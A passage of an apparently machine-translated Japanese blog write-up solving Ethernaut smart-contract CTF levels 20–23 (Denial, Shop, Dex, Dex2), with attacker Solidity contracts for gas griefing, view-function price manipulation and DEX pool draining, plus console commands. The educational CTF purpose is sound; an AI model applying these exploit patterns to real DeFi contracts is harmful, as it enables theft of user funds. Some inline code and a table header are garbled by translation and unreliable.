所有者 (またはその他の重要な変数) に関しては注意し、すべての可能性を探してください。


20 否認

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xeb587746E66F008f686521669B5ea99735b1310Bこのレベルの目的は、owner引き出しをブロックすることです。まず、役割が何であるかを見てみましょう。

    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;输入
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

ユーザーがお金を引き出すたびにwithdraw関数が呼び出され、1% が引き出されて に送信されpartner、別の 1% が に送信されownerます。私たちができることは、与えられたステップが実行されないpartnerように、側で関数を定義することだけです。owner

しかし、契約はcallすべてのガスを呼び出して添付しています。の違いをsend確認しましょう。calltransfer

  • 転送が異常な場合、転送は失敗し、例外がスローされます、ガス制限があります
  • 送信が異常な場合、転送は失敗し、false を返し、実行を終了しません。ガス制限があります
  • 呼び出しが異常な場合、転送は失敗し、false を返し、実行を終了せず、ガス制限はありません

したがって、開始点はすべてのガスを消費することであり、光の障害によって後続の実行が終了することはありません!

それを消費する方法は?require次に、とを見てみましょうassert

  • assert残りのガスをすべて消費し、すべての操作を再開します
  • require残りのすべてのガスを払い戻し、値を返します

これで assert に取り組めるようです。

攻撃契約書作成

コントラクトへの攻撃は非常に簡単ですassert(false)。すべてをデフォルトにしてロールバックするだけです。

pragma solidity ^0.6.0;


contract attacker {

    constructor() public {
    }
    
    fallback() external payable {
        assert(false);
    }

}

契約の相互作用

アドレス で攻撃コントラクトを展開します0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7

攻撃契約を展開する
ロールawait contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')として攻撃契約を設定するために入力します。この時点で、テストを開始します。と入力すると、ガス欠で失敗していることが判明。例を提出してください。このレベルは成功です!partner
セットパートナー
withdrawawait contract.withdraw()
コールの取り消しに失敗しました

レベルの成功

要約する

古いことわざにあるように、契約のやり取りは信頼できないものです。


21 ショップ

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7このレベルの目的は、提示価格よりも低い価格で購入することです。特定のコード セグメントは次のとおりです。

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }

コントラクトはユーザーmsg.sender(スマート コントラクトの場合もあります) に入札を要求し、そのprice()関数が現在の価格を超える結果を返し、アイテムがまだ販売されていない場合、価格をユーザーの入札に設定します。ユーザーに 2 回入札を依頼した場合の結果が異なるようです。Buyerただし、型のインターフェイスprice()view型の関数であることがわかります。つまり、変数は読み取りのみ可能で、変更することはできません。つまり、現在のコントラクトの状態を変更することはできません。私たちは何をすべきか?

viewでは、メソッドが異なる値を 2 回返すようにする方法はありますか? 現在、次の 2 つの方法があります。

  • 外部契約の変更に依存する
  • 独自の変数の変更に依存する

攻撃契約書作成

外部コントラクトの状態変化

view型メソッドが外部コントラクトの状態に依存している場合、戻り値の違いは、外部変数を調べることで変更なしで実現できます。

また、リミックスに基づいて、次のようにコントラクトを記述します。

pragma solidity ^0.6.0;


interface Shop {
  function buy() external;
  function isSold() external view returns (bool);码
}

contract attacker {

    Shop shop;

    constructor(address _addr) public {
        shop = Shop(_addr);
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        if (!shop.isSold()){
            return 101;
        }else{
            return 99;
        }
    }

}

このとき、コントラクトの変数はリクエストのprice()前後で変化しているため、変数に基づいてルールを設定でき、この方法が適用できます。ShopisSoldif

自分の変数の変化

now、などの変数に依存する場合、異なるタイプの関数が異なるブロックの下で異なる結果を返すtimestampことは事実ですがview、同じブロックの下では、まだ区別が難しいようです。

以下の契約があります。

contract attacker2 {

    Shop shop;
    uint time;

    constructor(address _addr) public {
        shop = Shop(_addr);
        time = now;
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        return (130-(now-time));
    }

}

viewタイプの関数が異なるタイミングで呼び出されるとprice、返される値が異なります。ただし、同じブロック内では見分けがつきにくいので、あまり当てはまりません。
115

106

契約の相互作用

まずは現在の契約状況をご確認ください。
現在の契約状況
攻撃コントラクトを展開します。コントラクト アドレスは0x8201E303702976dc3E203a4D3cDe244D522274bfです。
攻撃契約を展開する
この時点でprice、メソッドを呼び出して を返し101ます。
現在の価格を取得する
メソッドを呼び出しattackて攻撃します。呼び出し後にターゲット コントラクトの状態を更新します。この時点で、商品は 99 で販売されています。
対象の契約状態を更新する
例を提出してください。このレベルは完了です!
このレベルは完了です!

要約する

私たちは時々、私たちが通常理解していることとは異なる別の角度から問題を考えます。


22デックス

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0x28B73f0b92f69A35c1645a56a11877b044de3366このレベルは、DEX (分散型取引所) の簡易版です。

コントラクトの分析では、コントラクトには 2 つのトークン コントラクトしかありません。1 つはtoken1で、もう 1 つは ですtoken2

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

そして契約により、トークン間の為替レートに従って交換することができます。交換価格は、2 つのトークンの量の比率です。

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

ここに問題が見つかりました。当面はリストしません。
それで、私たちは何をする必要がありますか?ここで非対称為替レートを使用して裁定取引を実現し、取引プール内のトークンを空洞化します (1 つのタイプで十分です)。

swap周りを回って取引token1を行うだけに限定されていたので。token2したがって、為替レートからしか始めることができません。最初に見つけた問題に戻ります。為替レートは 1 回の取引で一定です。一般的な分散型取引所では、スリッページという概念があります。つまり、取引量が増加するにつれて、理論上の為替レートと実際の為替レートの差がどんどん大きくなります! 明らかに、このレベル コントラクトにはスリッページの概念がないため、実際の価値よりもはるかに大きな交換額を得ることができます。さらにいくつかの交換を行うと、トランザクション プールをすばやく空にすることができます。

契約の相互作用

まず、トランザクション プールtoken1とアカウントtoken2内のトークンの量を見てみましょう。

現在のトランザクション プールとユーザー残高を表示する

手元にある 10 をtoken1償還したい場合は、まず承認token2を渡します。次に、10を に交換しました。最初の為替レートに従って10 を取得できますこの時点で 0 、 20がありますが、交換には 110 、 90があり、 10 を交換すると 10 よりも多く得ることができます! これがアービトラージです!await contract.approve(contract.address,10)
承認する
await contract.swap(token1,token2,10)token1token21:1token2token1token2token1token2token2token1

正常に交換

次の表はアービトラージ プロセスを示しています。精度が限られているため、為替レートの精度は多くの場合、小数点以下 1 桁までです。為替レートに従って完全に変換しなかった前回は、46 ( 110/2.4=45.83) のみが変換され、結果は失敗しました (トランザクション プールにそれほど多くないため)。後で、45コインを直接交換できることを知りました。

トランザクション プール トークン 1 トランザクション プール トークン 2 為替レート 1-2 為替レート 2-1 ユーザートークン1 ユーザートークン2 通貨両替 引き換え後のユーザー token1 引き換え後のユーザー token1
100 100 1 1 10 10 トークン1 0 20
110 90 0.818 1.222 0 20 トークン2 24 0
86 110 1.28 0.782 24 0 トークン1 0 30
110 80 0.727 1.375 0 30 トークン2 41 0
69 110 1.694 0.627 41 0 トークン1 0 65
110 45 0.409 2.44 0 65 トークン2 110 20

この時点で、トランザクション プールtoken1は空になっています。レベルを提出してください。このレベルは成功です!
レベルは成功です!

要約する

Dexこの種のプロジェクトに関してDefi、スマート コントラクトは慎重に作成する必要があります。


23 デックス2

インスタンスを作成して分析する

前の手順に従って、 のコントラクト アドレスでコントラクト インスタンスを作成します0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bAこのレベルは、依然として DEX (分散型取引所) の単純化されたバージョンです。

一見すると、この質問は前のものと変わりません。しかし、よく調べてみると、何かが欠けているように見えますか?

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

通貨のアドレスは検証されなくなったので、独自のトークン コントラクトを展開し、関連する方法で流動性を提供し、最終的にプールを空にすることはできますか?

攻撃契約を書く

ターゲット コントラクトのコントラクトを参照しSwappableToken、攻撃コントラクトを次のように記述します。

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract SwappableTokenAttack is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

コントラクトを展開します。そのコントラクト アドレスは0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e
契約を展開する

契約の相互作用

approve最初に認可許可を実装し、ターゲット コントラクトに 8 つの攻撃トークンの許可を与えます。
許可を承認する
続いて、await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)追加で攻撃トークンを追加しましたDEX結果は失敗で、契約していないことが判明しましたowner
流動性を追加できませんでした
これは影響しますか?影響はありません。攻撃コントラクトで手動で送金できます。
手動転送
この時点で、攻撃トークン転送の為替レートを取得してみましょうtoken1~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)、すべてを空にすることができることがわかりましたtoken1!

ここに画像の説明を挿入
その後、トランザクションを開始し、連続してawait contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)金額を入力しawait contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)て、トランザクション プールの空にすることを実現します。成功!(攻撃トークンを 2 つ使用する理由token2は、この時点で為替レートが 2 に下がったためです1:50)

空洞化に成功
レベルを提出してください。このレベルは成功です!
このレベルは成功です

要約する

スマートコントラクトは本当に抜け穴がいっぱいです. 時間があれば、次のUniSwapを勉強する必要があります!


おすすめ

転載: blog.csdn.net/weixin_43982484/article/details/125218458
おすすめ